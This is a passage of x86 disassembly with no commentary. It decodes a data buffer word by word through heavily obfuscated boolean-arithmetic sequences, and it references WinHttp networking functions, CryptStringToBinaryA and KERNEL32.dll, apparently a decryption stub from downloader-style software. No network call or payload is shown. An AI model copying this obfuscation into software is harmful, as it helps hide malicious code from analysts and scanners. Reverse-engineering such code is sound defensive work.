mov word [0x4712c2], ax
mov ax, word [0x4710c4]
xor ax, 0x2ebb
mov word [0x4712c4], ax
mov ax, word [0x4710c6]
xor ax, 0xa915
mov word [0x4712c6], ax
mov ax, word [0x4710c8]
mov cx, ax
xor cx, 0x702d
xor cx, 0xffff
and cx, 0x702d
shl cx, 1
sub cx, 0x702d
mov dx, ax
sub dx, cx
xor dx, 0xffff
xor dx, 0xffff
xor dx, 0x702d
and dx, 0x702d
shl dx, 1
sub dx, 0x702d
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x4712c8], ax
mov dx, word [0x4710ca]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xb486
xor ax, 0xffff
xor dx, 0xffff
or dx, 0xb486
and ax, dx
xor ax, 0xffff
mov word [0x4712ca], ax
mov ax, word [0x4710cc]
xor ax, 0xfa30
mov word [0x4712cc], ax
mov dx, word [0x4710ce]
mov ax, dx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
mov cx, dx
xor cx, 0xffff
and si, cx
xor si, 0xffff
and si, 0xffff
or si, 0
xor si, 0xffff
and ax, si
or ax, 0xfcd5
xor ax, 0xffff
xor dx, 0xffff
and dx, 0xfcd5
or ax, dx
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
mov word [0x4712ce], ax
mov ax, word [0x4710d0]
xor ax, 0xee9c
mov word [0x4712d0], ax
mov ax, word [0x4710d2]
mov dx, ax
and dx, 0x5dc5
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0xa542
add ax, 0x5dc5
sub ax, 0xa542
sub ax, dx
mov word [0x4712d2], ax
mov ax, word [0x4710d4]
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
or dx, 0x7f5d
xor dx, 0xffff
and dx, 0xffff
or ax, ax
xor ax, 0xffff
or ax, 0x80a2
xor ax, 0xffff
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
and ax, ax
xor ax, 0xffff
and si, ax
xor si, 0xffff
mov word [0x4712d4], si
mov ax, word [0x4710d6]
mov cx, ax
xor cx, 0x7c64
xor cx, 0xffff
and cx, 0x7c64
shl cx, 1
sub cx, 0x7c64
sub ax, cx
mov word [0x4712d6], ax
mov dx, word [str.WinHttpCloseHandle]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x2d72
and dx, 0x2d72
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x4712d8], ax
mov ax, word [0x4710da]
mov cx, ax
xor cx, 0xffff
and cx, 0xcc46
and ax, 0x33b9
or cx, ax
mov word [0x4712da], cx
mov dx, word [0x4710dc]
mov ax, dx
xor ax, 0xffff
and ax, 0xd8a0
mov cx, dx
add cx, 1
xor dx, 0xffff
or dx, 0x275f
add dx, cx
mov cx, ax
and cx, dx
xor ax, dx
or cx, ax
mov word [0x4712dc], cx
mov ax, word [0x4710de]
xor ax, 0x82f2
mov word [0x4712de], ax
mov ax, word [0x4710e0]
mov cx, ax
and cx, 0xf344
shl cx, 1
add ax, 0xf344
sub ax, 0x13f2
sub ax, cx
add ax, 0x13f2
mov word [0x4712e0], ax
mov ax, word [0x4710e2]
xor ax, 0x6bf
mov word [0x4712e2], ax
mov cx, word [0x4710e4]
mov ax, cx
xor ax, 0xffff
and ax, 0x6f94
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0x906b
or ax, dx
xor ax, 0xc937
mov word [0x4712e4], ax
mov ax, word [0x4710e6]
xor ax, 0xf9cd
mov word [0x4712e6], ax
mov ax, word [0x4710e8]
xor ax, 0x5bfd
mov word [0x4712e8], ax
mov ax, word [0x4710ea]
xor ax, 0xdd5d
mov word [0x4712ea], ax
mov ax, word [0x4710ec]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
or dx, 0x65ca
xor dx, 0xffff
or ax, 0x9a35
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x4712ec], dx
mov ax, word [str.WinHttpConnect]
xor ax, 0xaff4
mov word [0x4712ee], ax
mov cx, word [0x4710f0]
mov ax, cx
xor ax, 0xffff
and ax, 0xcfcd
mov dx, cx
xor dx, 0xcfcd
and dx, cx
or ax, dx
mov cx, ax
xor cx, 0x623c
xor cx, 0xffff
and cx, 0x623c
shl cx, 1
sub cx, 0x623c
sub ax, cx
mov word [0x4712f0], ax
mov ax, word [0x4710f2]
mov dx, ax
xor dx, 0xffff
and dx, 0xe76d
mov cx, ax
and cx, 0x1892
or dx, cx
xor dx, 0x9f54
xor dx, 0xffff
and dx, 0x7839
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
mov cx, dx
xor cx, 0x7839
and dx, 0x87c6
shl dx, 1
sub dx, cx
sub ax, 0x6519
sub ax, dx
add ax, 0x6519
mov word [0x4712f2], ax
mov dx, word [0x4710f4]
mov ax, dx
xor ax, 0xffff
and ax, 0x6796
mov cx, dx
and cx, 0x9869
or ax, cx
xor ax, 0x9869
mov si, dx
and si, si
xor si, 0xffff
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
mov cx, ax
xor cx, si
xor cx, 0xffff
or ax, si
and ax, cx
xor ax, 0xffff
and ax, 0xaf18
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0xaf18
mov cx, dx
xor cx, 0xffff
and cx, 0x8db
and dx, 0xf724
or cx, dx
xor cx, 0xf724
or ax, cx
mov dx, ax
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
or dx, 0
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
mov word [0x4712f4], dx
mov ax, word [0x4710f6]
xor ax, 0xd5b6
mov word [0x4712f6], ax
mov ax, word [0x4710f8]
xor ax, 0x7caa
mov word [0x4712f8], ax
mov ax, word [0x4710fa]
mov dx, ax
xor dx, 0xffff
and dx, 0x27a2
mov cx, ax
xor cx, 0x27a2
and cx, ax
mov ax, dx
or ax, cx
xor ax, 0xffff
or dx, cx
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov cx, ax
xor cx, 0xffff
and cx, 0x50f0
and ax, 0xaf0f
or cx, ax
xor cx, 0x664c
mov word [0x4712fa], cx
mov ax, word [0x4710fc]
mov dx, ax
or dx, dx
xor dx, 0xffff
or dx, 0xa4ea
xor dx, 0xffff
or ax, 0x5b15
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x4712fc], dx
mov dx, word [0x4710fe]
mov ax, dx
or ax, ax
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
and ax, 0xa90f
and dx, 0x56f0
mov si, ax
or si, dx
xor si, 0xffff
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
xor si, 0xffff
xor ax, 0xffff
and si, ax
mov word [0x4712fe], si
mov ax, word [str.WinHttpCrackUrl]
xor ax, 0x3717
mov word [0x471300], ax
mov ax, word [0x471102]
xor ax, 0x46a7
mov word [0x471302], ax
mov ax, word [0x471104]
mov cx, ax
xor cx, 0x4f29
mov dx, cx
xor dx, 0xffff
and dx, 0x329f
and cx, 0xcd60
or dx, cx
xor dx, 0xcd60
and dx, 0x4f29
shl dx, 1
sub dx, 0x4f29
sub ax, dx
mov word [0x471304], ax
mov ax, word [0x471106]
xor ax, 0x65f4
mov word [0x471306], ax
mov dx, word [0x471108]
mov si, dx
xor si, 0xffff
mov ax, dx
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
shl ax, 1
sub ax, 0xffff
mov cx, dx
sub cx, ax
mov ax, si
or ax, cx
xor ax, 0xffff
xor si, 0xffff
xor cx, 0xffff
and si, cx
xor ax, 0xffff
xor si, 0xffff
and ax, si
xor ax, 0xffff
mov cx, ax
and cx, 0xaec1
xor cx, 0xffff
add ax, 0xaec1
add ax, 1
add ax, cx
mov cx, dx
xor cx, 0xaec1
xor cx, 0xffff
or dx, 0xaec1
and dx, cx
mov si, dx
xor si, 0xffff
and si, 0xa6f5
and dx, 0x590a
or si, dx
xor si, 0x590a
xor ax, 0xffff
xor si, 0xffff
mov cx, si
and cx, ax
xor cx, 0xffff
add ax, si
add ax, 1
add ax, cx
mov word [0x471308], ax
mov ax, word [0x47110a]
xor ax, 0xec3e
mov word [0x47130a], ax
mov dx, word [0x47110c]
mov ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
and ax, 0x5965
mov cx, dx
add cx, 1
xor dx, 0xffff
or dx, 0xa69a
add dx, cx
or ax, dx
mov dx, ax
and dx, dx
xor dx, 0xffff
and dx, 0x3fbd
xor dx, 0xffff
and ax, 0xc042
xor ax, 0xffff
and dx, ax
xor dx, 0xffff
mov word [0x47130c], dx
mov ax, word [0x47110e]
mov cx, ax
and cx, 0xefe
shl cx, 1
mov dx, ax
and dx, 0xefe
or ax, 0xefe
add dx, ax
sub dx, cx
mov word [0x47130e], dx
mov ax, word [0x471110]
xor ax, 0x7c65
mov word [0x471310], ax
mov ax, word [str.WinHttpOpen]
xor ax, 0x8ffb
mov word [0x471312], ax
mov ax, word [0x471114]
xor ax, 0xc051
mov word [0x471314], ax
mov dx, word [0x471116]
mov cx, dx
and cx, 0xffff
shl cx, 1
mov ax, dx
add ax, 0xffff
sub ax, cx
and ax, 0x16c9
and dx, 0xe936
or ax, dx
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0x137b
xor ax, 0xffff
and ax, 0xec84
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x471316], dx
mov ax, word [0x471118]
xor ax, 0x9421
mov word [0x471318], ax
mov ax, word [0x47111a]
mov dx, ax
xor dx, 0xffff
and dx, 0x74db
mov cx, ax
and cx, 0x8b24
or dx, cx
xor dx, 0xffff
and dx, 0x74db
shl dx, 1
mov cx, dx
xor cx, 0xffff
and cx, 0x74db
and dx, 0x8b24
sub dx, cx
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x47131a], ax
mov ax, word [0x47111c]
mov cx, ax
xor cx, 0x1b29
xor cx, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0x1b29
shl dx, 1
sub dx, 0x1b29
sub ax, dx
mov word [0x47131c], ax
mov ax, word [0x47111e]
mov cx, ax
and cx, 0xb3b4
shl cx, 1
add ax, 0xb3b4
sub ax, cx
mov word [0x47131e], ax
mov ax, word [str.WinHttpOpenRequest]
mov cx, ax
xor cx, 0xffff
and cx, 0xa518
and ax, 0x5ae7
or cx, ax
xor cx, 0xff13
mov word [0x471320], cx
mov ax, word [0x471122]
mov cx, ax
xor cx, 0xffff
and cx, 0x94dc
and ax, 0x6b23
or cx, ax
mov word [0x471322], cx
mov ax, word [0x471124]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
mov cx, ax
and cx, cx
xor cx, 0xffff
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xe65e
xor ax, 0xffff
and ax, 0x19a1
mov si, dx
xor si, 0xffff
mov bx, ax
xor bx, 0xffff
mov di, si
and di, 0xaacf
and dx, 0x5530
mov cx, bx
and cx, 0xaacf
and ax, 0x5530
or di, dx
or cx, ax
xor di, cx
or si, bx
xor si, 0xffff
and si, 0xffff
or di, si
xor di, 0xffff
mov word [0x471324], di
mov ax, word [0x471126]
mov si, ax
xor si, 0xffff
and si, 0x29cc
mov cx, ax
and cx, 0xd633
or si, cx
xor si, 0xd633
mov cx, ax
xor cx, 0xffff
and si, cx
mov dx, si
xor dx, 0xffff
and dx, 0x4004
xor si, 0xffff
and si, 0x4004
xor dx, 0xffff
xor si, 0xffff
and dx, si
xor dx, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x4004
xor ax, 0xffff
and ax, 0xffff
mov cx, ax
and cx, dx
xor cx, 0xffff
add dx, ax
add dx, 1
add dx, cx
xor dx, 0xffff
mov word [0x471326], dx
mov ax, word [0x471128]
mov cx, ax
xor cx, 0xffff
and cx, 0xffff
or cx, 0
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
or dx, 0x9f0
xor dx, 0xffff
and ax, 0x9f0
or dx, ax
mov word [0x471328], dx
mov ax, word [0x47112a]
mov dx, ax
xor dx, 0xffff
and dx, 0xffff
or dx, 0
and dx, 0xec75
xor ax, 0xffff
or ax, 0xec75
xor ax, 0xffff
and ax, 0xffff
or dx, ax
mov word [0x47132a], dx
mov ax, word [0x47112c]
xor ax, 0x2206
mov word [0x47132c], ax
mov dx, word [0x47112e]
mov ax, dx
xor ax, 0xffff
and ax, 0xc374
or dx, dx
xor dx, 0xffff
or dx, 0xc374
xor dx, 0xffff
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
mov cx, ax
xor cx, 0xffff
and cx, 0x4188
and ax, 0xbe77
or cx, ax
mov word [0x47132e], cx
mov ax, word [0x471130]
mov cx, ax
and cx, 0x5a4
shl cx, 1
add ax, 0x5a4
sub ax, cx
mov word [0x471330], ax
mov ax, word [0x471132]
xor ax, 0xc57d
mov word [0x471332], ax
mov ax, word [0x471134]
xor ax, 0xfff3
mov word [0x471334], ax
mov ax, word [str.WinHttpQueryDataAvailable]
mov cx, ax
xor cx, 0xffff
and cx, 0x6d71
and ax, 0x928e
or cx, ax
xor cx, 0x36a9
mov word [0x471336], cx
mov ax, word [0x471138]
xor ax, 0x38a4
mov word [0x471338], ax
mov ax, word [0x47113a]
xor ax, 0xbefe
mov word [0x47133a], ax
mov ax, word [0x47113c]
mov dx, ax
and dx, dx
xor dx, 0xffff
and dx, 0xf1f8
or dx, dx
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
or ax, 0xf1f8
mov si, dx
xor si, 0xffff
and si, 0x80be
and dx, 0x7f41
or si, dx
xor si, 0x7f41
xor ax, 0xffff
mov cx, ax
xor cx, 0xffff
mov dx, si
and dx, cx
mov cx, si
xor cx, ax
add si, cx
sub si, dx
mov word [0x47133c], si
mov ax, word [0x47113e]
xor ax, 0xef51
mov word [0x47133e], ax
mov ax, word [0x471140]
xor ax, 0x69e9
mov word [0x471340], ax
mov ax, word [0x471142]
xor ax, 0x5e04
mov word [0x471342], ax
mov dx, word [0x471144]
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov ax, dx
sub ax, cx
mov si, dx
or si, si
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
xor si, 0xffff
mov cx, si
and cx, ax
xor cx, 0xffff
add ax, si
add ax, 1
add ax, cx
mov cx, ax
xor cx, 0x9683
xor cx, 0xffff
or ax, 0x9683
and ax, cx
xor ax, 0xffff
mov si, dx
xor si, 0x9683
and si, dx
xor si, 0xffff
or ax, ax
xor ax, 0xffff
mov cx, si
xor cx, 0xffff
xor si, 0xffff
and cx, si
or ax, cx
xor ax, 0xffff
xor ax, 0xffff
mov word [0x471344], ax
mov ax, word [0x471146]
xor ax, 0x7086
mov word [0x471346], ax
mov ax, word [0x471148]
mov cx, ax
add cx, 1
mov dx, ax
xor dx, 0xffff
or dx, 0x8f82
add dx, cx
shl dx, 1
add ax, 0x8f82
sub ax, dx
mov word [0x471348], ax
mov ax, word [0x47114a]
mov dx, ax
xor dx, 0x6db1
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
or dx, 0x924e
add dx, 0x6db2
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0x6db1
sub ax, dx
mov word [0x47134a], ax
mov ax, word [0x47114c]
mov dx, ax
xor dx, 0x11a
xor dx, 0xffff
and dx, 0x11a
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
mov cx, dx
xor cx, 0xffff
and cx, 0x11a
and dx, 0xfee5
sub dx, cx
sub ax, dx
mov word [0x47134c], ax
mov ax, word [0x47114e]
xor ax, 0xe136
mov word [0x47134e], ax
mov ax, word [0x471150]
mov cx, ax
xor cx, 0xffff
mov dx, cx
and dx, 0xc523
xor dx, 0xffff
and cx, 0xc523
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, 0x3adc
add ax, cx
and dx, dx
xor dx, 0xffff
and ax, ax
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x471350], dx
mov ax, word [str.WinHttpReadData]
mov dx, ax
xor dx, 0xffff
and dx, 0xcedd
mov cx, ax
and cx, 0x3122
or dx, cx
xor dx, 0x9628
xor dx, 0xffff
and dx, 0x58f5
shl dx, 1
sub dx, 0x58f5
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x471352], ax
mov ax, word [0x471154]
mov cx, ax
and cx, 0x70d1
shl cx, 1
add ax, 0x70d1
sub ax, cx
mov word [0x471354], ax
mov ax, word [0x471156]
xor ax, 0x12bc
mov word [0x471356], ax
mov dx, word [0x471158]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x29ca
xor dx, 0xffff
or dx, 0xd635
and ax, dx
xor ax, 0xffff
mov word [0x471358], ax
mov ax, word [0x47115a]
mov cx, ax
and cx, 0x752e
shl cx, 1
add ax, 0x752e
sub ax, cx
mov word [0x47135a], ax
mov ax, word [0x47115c]
mov cx, ax
xor cx, 0xffff
and cx, 0x77a7
and ax, 0x8858
or cx, ax
mov word [0x47135c], cx
mov dx, word [0x47115e]
mov cx, dx
and cx, 0xffff
shl cx, 1
mov ax, dx
add ax, 0xffff
sub ax, cx
xor ax, 0xffff
xor ax, 0xce8c
and ax, 0xce8c
mov si, dx
and si, 0x3173
xor si, 0xffff
xor dx, 0xffff
or dx, 0xce8c
xor si, 0xffff
xor dx, 0xffff
or si, dx
mov cx, ax
and cx, si
xor ax, si
or cx, ax
mov word [0x47135e], cx
mov ax, word [0x471160]
mov cx, ax
and cx, cx
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0
and dx, 0xffff
xor dx, 0xffff
mov si, dx
xor si, 0xffff
xor dx, 0xffff
and si, dx
or si, 0
xor si, 0xffff
or si, 0
xor si, 0xffff
mov dx, si
xor dx, 0xffff
and dx, 0xe17d
xor si, 0xffff
and si, 0xe17d
or dx, si
xor dx, 0xffff
mov si, ax
xor si, 0xffff
or si, 0xe17d
and ax, 0x1e82
xor ax, 0xffff
and si, ax
xor si, 0xffff
mov ax, si
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
shl ax, 1
sub ax, 0xffff
sub si, ax
and dx, si
xor dx, 0xffff
mov word [0x471360], dx
mov dx, word [0x471162]
mov ax, dx
xor ax, 0xffff
and ax, 0x426a
mov cx, dx
and cx, 0xbd95
or ax, cx
xor ax, 0xbd95
or ax, ax
xor ax, 0xffff
or ax, 0x1299
xor ax, 0xffff
xor dx, 0xffff
or dx, 0xed66
xor dx, 0xffff
and dx, 0xffff
mov cx, dx
xor cx, 0xffff
mov si, ax
and si, cx
mov cx, ax
xor cx, dx
add ax, cx
sub ax, si
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
or dx, 0x867b
xor dx, 0xffff
xor ax, 0xffff
and ax, 0x867b
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x471362], dx
mov dx, word [str.WinHttpReceiveResponse]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
xor ax, 0xffff
xor cx, 0xffff
or ax, cx
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xbdb4
or dx, 0xbdb4
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x471364], ax
mov ax, word [0x471166]
mov si, ax
xor si, 0xffff
mov cx, ax
xor cx, 0xffff
or si, cx
mov cx, si
add cx, 1
xor si, 0xffff
or si, 0x3c1a
add si, cx
mov dx, si
xor dx, 0xffff
and dx, 0x7912
and si, 0x86ed
or dx, si
xor dx, 0x86ed
and ax, 0xc3e5
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
or dx, ax
mov word [0x471366], dx
mov ax, word [0x471168]
xor ax, 0x798c
mov word [0x471368], ax
mov ax, word [0x47116a]
mov cx, ax
xor cx, 0xffff
and cx, 0xa96
and ax, 0xf569
or cx, ax
xor cx, 0xb694
mov word [0x47136a], cx
mov ax, word [0x47116c]
mov dx, ax
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
xor dx, 0x235d
and dx, 0x235d
mov cx, ax
xor cx, 0xdca2
xor cx, 0xffff
or ax, 0xdca2
and ax, cx
or dx, ax
mov word [0x47136c], dx
mov ax, word [0x47116e]
mov cx, ax
xor cx, cx
xor cx, 0xffff
mov dx, ax
or dx, dx
and dx, cx
xor dx, 0xffff
and dx, 0xe06
xor dx, 0xffff
and ax, 0xf1f9
xor ax, 0xffff
or dx, dx
xor dx, 0xffff
or ax, ax
xor ax, 0xffff
or dx, ax
xor dx, 0xffff
xor dx, 0xffff
mov word [0x47136e], dx
mov ax, word [0x471170]
xor ax, 0x605d
mov word [0x471370], ax
mov dx, word [0x471172]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
mov cx, ax
and cx, 0xcce6
xor cx, 0xffff
add ax, 0xcce6
add ax, 1
add ax, cx
and dx, 0xcce6
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
and ax, dx
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
mov word [0x471372], ax
mov ax, word [0x471174]
xor ax, 0x96e
mov word [0x471374], ax
mov ax, word [0x471176]
xor ax, 0x6d4c
mov word [0x471376], ax
mov ax, word [0x471178]
xor ax, 0xb17f
mov word [0x471378], ax
mov ax, word [0x47117a]
mov cx, ax
xor cx, 0xffff
and cx, 0xcf88
and ax, 0x3077
or cx, ax
mov word [0x47137a], cx
mov cx, word [0x47117c]
mov ax, cx
xor ax, 0xffff
and ax, 0xca91
and cx, 0x356e
or ax, cx
mov cx, ax
xor cx, 0x9bb6
xor cx, 0xffff
and cx, 0x9bb6
shl cx, 1
sub cx, 0x9bb6
sub ax, cx
mov word [0x47137c], ax
mov ax, word [str.WinHttpSendRequest]
mov dx, ax
and dx, 0x7728
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x7728
sub ax, dx
mov word [0x47137e], ax
mov ax, word [0x471180]
mov cx, ax
xor cx, 0x833f
xor cx, 0xffff
and cx, 0x833f
shl cx, 1
sub cx, 0x833f
sub ax, cx
mov word [0x471380], ax
mov ax, word [0x471182]
mov cx, ax
xor cx, 0xb41d
xor cx, 0xffff
and cx, 0xb41d
shl cx, 1
sub cx, 0xb41d
mov si, ax
sub si, cx
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
or dx, 0
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
and dx, 0xb41d
shl dx, 1
mov cx, dx
xor cx, 0xb41d
and dx, 0x4be2
shl dx, 1
sub dx, cx
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x471382], ax
mov ax, word [0x471184]
mov cx, ax
xor cx, 0xffff
and cx, 0x75b3
and ax, 0x8a4c
or cx, ax
xor cx, 0x36ed
mov word [0x471384], cx
mov ax, word [0x471186]
mov cx, ax
xor cx, 0xffff
and cx, 0xd3cf
and ax, 0x2c30
or cx, ax
mov word [0x471386], cx
mov ax, word [0x471188]
xor ax, 0x1da6
mov word [0x471388], ax
mov ax, word [0x47118a]
mov cx, ax
xor cx, 0xffff
and cx, 0x29bd
and ax, 0xd642
or cx, ax
xor cx, 0x6854
mov word [0x47138a], cx
mov ax, word [0x47118c]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x7663
xor ax, 0xffff
or ax, 0x899c
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x47138c], dx
mov dx, word [0x47118e]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
xor ax, 0xffff
or ax, 0x606a
and dx, 0x606a
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x47138e], ax
mov ax, word [0x471190]
xor ax, 0x988
mov word [0x471390], ax
mov ax, word [0x471192]
mov cx, ax
xor cx, 0x4826
xor cx, 0xffff
and cx, 0x4826
shl cx, 1
sub cx, 0x4826
sub ax, cx
mov word [0x471392], ax
mov ax, word [str.CryptStringToBinaryA]
xor ax, 0x3dc4
mov word [0x471394], ax
mov ax, word [0x471196]
mov dx, ax
xor dx, 0xffff
mov si, ax
xor si, 0xffff
and si, 0xffff
or si, 0
or dx, dx
xor dx, 0xffff
mov cx, si
xor cx, 0xffff
xor si, 0xffff
and cx, si
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0x92cd
or ax, 0x92cd
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov si, dx
xor si, 0xffff
xor dx, 0xffff
and si, dx
or si, 0
xor si, 0xffff
or si, 0
xor si, 0xffff
xor ax, 0xffff
or si, si
xor si, 0xffff
or ax, ax
xor ax, 0xffff
xor si, 0xffff
xor ax, 0xffff
and si, ax
mov word [0x471396], si
mov ax, word [0x471198]
xor ax, 0x536e
mov word [0x471398], ax
mov ax, word [0x47119a]
xor ax, 0xc69d
mov word [0x47139a], ax
mov ax, word [0x47119c]
xor ax, 0x18db
mov word [0x47139c], ax
mov ax, word [0x47119e]
mov cx, ax
xor cx, 0xffff
mov si, ax
xor si, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
and si, si
xor si, 0xffff
and dx, si
xor dx, 0xffff
mov cx, dx
xor cx, 0x6465
xor cx, 0xffff
or dx, 0x6465
and dx, cx
xor dx, 0xffff
xor ax, 0xffff
or ax, 0x6465
xor dx, 0xffff
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
mov si, dx
xor si, 0xffff
mov bx, ax
xor bx, 0xffff
mov di, si
and di, 0x842f
and dx, 0x7bd0
mov cx, bx
and cx, 0x842f
and ax, 0x7bd0
or di, dx
or cx, ax
xor di, cx
or si, bx
xor si, 0xffff
and si, 0xffff
or di, si
mov word [0x47139e], di
mov ax, word [0x4711a0]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
and dx, 0x4598
and ax, 0xba67
or dx, ax
xor dx, 0xa25f
mov word [0x4713a0], dx
mov ax, word [0x4711a2]
xor ax, 0x4054
mov word [0x4713a2], ax
mov ax, word [0x4711a4]
mov cx, ax
xor cx, 0x52bd
xor cx, 0xffff
and cx, 0x52bd
shl cx, 1
sub cx, 0x52bd
sub ax, cx
mov word [0x4713a4], ax
mov cx, word [0x4711a6]
mov ax, cx
xor ax, 0xffff
and ax, 0xd0bc
mov dx, cx
xor dx, 0xd0bc
and dx, cx
or ax, dx
mov cx, ax
xor cx, 0x5d97
xor cx, 0xffff
and cx, 0x5d97
shl cx, 1
sub cx, 0x5d97
sub ax, cx
mov word [0x4713a6], ax
mov ax, word [0x4711a8]
xor ax, 0x8226
mov word [0x4713a8], ax
mov ax, word [str.KERNEL32.dll]
mov dx, ax
xor dx, 0x97d4
and dx, ax
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub ax, 0x97d5
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x4713aa], ax
mov ax, word [0x4711ac]
mov dx, ax
xor dx, 0xffff
and dx, 0x1955
mov cx, ax
and cx, 0xe6aa
or dx, cx
xor dx, 0xe6aa
and dx, 0xcd1e
and ax, 0x32e1
or dx, ax
mov word [0x4713ac], dx
mov ax, word [0x4711ae]
mov dx, ax
and dx, 0x11
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x11
add ax, 0x3bb5
sub ax, dx
sub ax, 0x3bb5
mov word [0x4713ae], ax
mov ax, word [0x4711b0]
mov cx, ax
and cx, 0xb8c1
shl cx, 1
add ax, 0xb8c1
sub ax, cx
mov word [0x4713b0], ax
mov ax, word [0x4711b2]
mov cx, ax
xor cx, 0xffff
and cx, 0x559b
and ax, 0xaa64
or cx, ax
xor cx, 0x3753
mov word [0x4713b2], cx
